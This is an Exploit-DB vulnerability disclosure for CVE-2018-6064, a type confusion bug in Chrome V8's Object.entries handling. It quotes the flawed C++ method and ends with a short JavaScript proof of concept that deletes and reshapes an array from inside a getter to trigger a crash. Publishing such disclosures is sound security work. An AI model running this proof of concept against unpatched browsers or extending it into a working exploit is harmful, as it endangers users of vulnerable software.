Google Chrome V8 - 'ElementsAccessorBase::CollectValuesOrEntriesImpl' Type Confusion

EDB-ID: 44394
Author: Google Security Research
Published: 2018-04-03
CVE: CVE-2018-6064
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Type Confusion
Vulnerable App: N/A

 Here's a snippet of the method. 
https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=3cbf26e8a21aa76703d2c3c51adb9c96119500da&l=1051

static Maybe<bool> CollectValuesOrEntriesImpl(
Isolate* isolate, Handle<JSObject> object,
Handle<FixedArray> values_or_entries, bool get_entries, int* nof_items,
PropertyFilter filter) {
...
for (int i = 0; i < keys->length(); ++i) {
Handle<Object> key(keys->get(i), isolate);
Handle<Object> value;
uint32_t index;
if (!key->ToUint32(&index)) continue;
uint32_t entry = Subclass::GetEntryForIndexImpl(
isolate, *object, object->elements(), index, filter);
if (entry == kMaxUInt32) continue;

PropertyDetails details = Subclass::GetDetailsImpl(*object, entry);

if (details.kind() == kData) {
value = Subclass::GetImpl(isolate, object->elements(), entry);
} else {
LookupIterator it(isolate, object, index, LookupIterator::OWN);
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, value, Object::GetProperty(&it), Nothing<bool>()); <<------- (a)
}
if (get_entries) {
value = MakeEntryPair(isolate, index, value);
}
values_or_entries->set(count++, *value);
}

*nof_items = count;
return Just(true);
}

At (a), the elements kind can be changed by getters. This will lead to type confusion in GetEntryForIndexImpl.

PoC:
*/

let arr = [];
arr[1000] = 0x1234;

arr.__defineGetter__(256, function () {
delete arr[256];

arr.unshift(1.1);
arr.length = 0;
});

Object.entries(arr).toString();

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